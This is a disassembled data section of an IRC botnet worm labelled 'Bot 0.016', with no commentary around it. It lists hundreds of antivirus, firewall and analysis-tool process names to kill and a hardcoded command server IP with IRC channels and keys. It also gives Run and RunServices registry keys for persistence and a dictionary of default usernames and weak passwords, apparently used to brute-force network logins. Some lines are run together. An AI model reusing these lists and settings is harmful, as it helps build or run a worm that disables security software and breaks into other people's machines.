		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe_0 ; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSvshost32_exe ; "SVSHOST32.EXE"
		dd offset aUpd32_exe	; "UPD32.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
		dd offset aMsconfig_exe	; "MsConfiG.exe"
		dd offset aWuanclt_exe	; "WUANCLT.EXE"
		dd offset aWuacrlt_exe	; "WUACRLT.EXE"
		dd offset aWruaclt_exe	; "WRUACLT.EXE"
		dd offset aWinssv_exe	; "winssv.exe"
		dd offset aScguard_exe	; "scguard.exe"
		dd offset aWuamgrd_exe	; "wuamgrd.exe"
		dd offset aBling_exe	; "bling.exe"
		dd offset aWinmp_exe	; "winmp.exe"
		dd offset aHass_exe	; "hass.exe"
dword_42BEB0	dd 1BBh							; sub_40E745+4C2r
dword_42BEB4	dd 1BBh		dword_42BEB8	dd 4DBh		dword_42BEBC	dd 45h							; sub_408A18+41F5r
dword_42BEC0	dd 4E20h						; sub_408A18:loc_40CD0Dr
dword_42BEC4	dd 201h		dword_42BEC8	dd 1		dword_42BECC	dd 1							; sub_40E745:loc_40EA78r
byte_42BED0	db 2Eh			; DATA XREF: sub_4025ED:loc_4025F9r
					; sub_408A18+7A4r ...
		align 4
dword_42BED4	dd 6							; sub_40F9EB+51r ...
dword_42BED8	dd 1							; sub_408A18+25Dr ...
dword_42BEDC	dd 1							; sub_408A18+257r
aBot016		db 'Bot016',0           ; DATA XREF: sub_408A18+2FA1o
					; sub_408A18:loc_40D5A8o ...
		align 4
aBot0_016	db '[Bot 0.016]',0      ; DATA XREF: sub_408A18:loc_40D92Do
aN3m3s1s	db 'n3m3s1s',0          ; DATA XREF: sub_408A18+489Co
					; sub_408A18+5B76o ...
a217_170_244_2	db '217.170.244.2',0    ; DATA XREF: sub_40E745+3FAo
					; sub_40E745+4B3o
		align 4
aHell		db '#hell',0            ; DATA XREF: sub_40E745+416o
					; sub_40E745+4C9o
		align 4
aTroopers	db 'troopers',0         ; DATA XREF: sub_40E745+42Do
					; sub_40E745+4DBo
		align 10h
byte_42BF20	db 38h			; DATA XREF: sub_40E745:loc_40EC36r
					; sub_40E745+4FFo
		db 32h,	2Eh, 31h
		dd 362E3431h, 35322E34h, 31h
dword_42BF30	dd 6C656823h, 6ChaTroopers_0	db 'troopers',0         ; DATA XREF: sub_40E745+527o
		align 4
byte_42BF44	db 6Dh			; DATA XREF: sub_401141+63o
					; sub_401141+18Eo ...
		db 73h,	6Dh, 6Eh
		dd 33747261h, 78652E32h, 65h, 2E79656Bh, 747874h
aNetworkHostSer	db 'Network Host Service',0 ; DATA XREF: sub_40213F+Bo
		align 4
aSoul		db '[SOUL]',0           ; DATA XREF: sub_40F9EB+12o
		align 4
aSysconfig_dat	db 'sysconfig.dat',0
		align 4
aIx		db '+ix',0              ; DATA XREF: sub_408A18+5CF5o
aMurders	db '#murders',0         ; DATA XREF: sub_408A18+3F96o
					; sub_408A18+59E9o
		align 4
aHell_1		db '#hell',0
		align 4
aSniffing	db '#sniffing',0
		align 10h
off_42BFB0	dd offset a@celestial_org ; DATA XREF: sub_408A18+5BF4r
					; "*@celestial.org"
off_42BFB4	dd offset aMircV6_12Khale ; DATA XREF: sub_408A18+923r
					; "mIRC	v6.12 Khaled Mardam-Bey"
dword_42BFB8	dd 2E373132h, 2E303731h, 2E343432h, 32hdword_42BFC8	dd 15h		aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:off_42B3CCo
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40FF1B+23o
					; sub_410242+23o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40FF1B+D5o
					; sub_410242+D5o
		align 8
off_42C078	dd offset aAdministrato_0 ; DATA XREF: .text:00414462r
					; .text:0041446Ao
					; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
dword_42C0C8	dd 420AEAh						; .text:00413DE4o ...
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_0	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
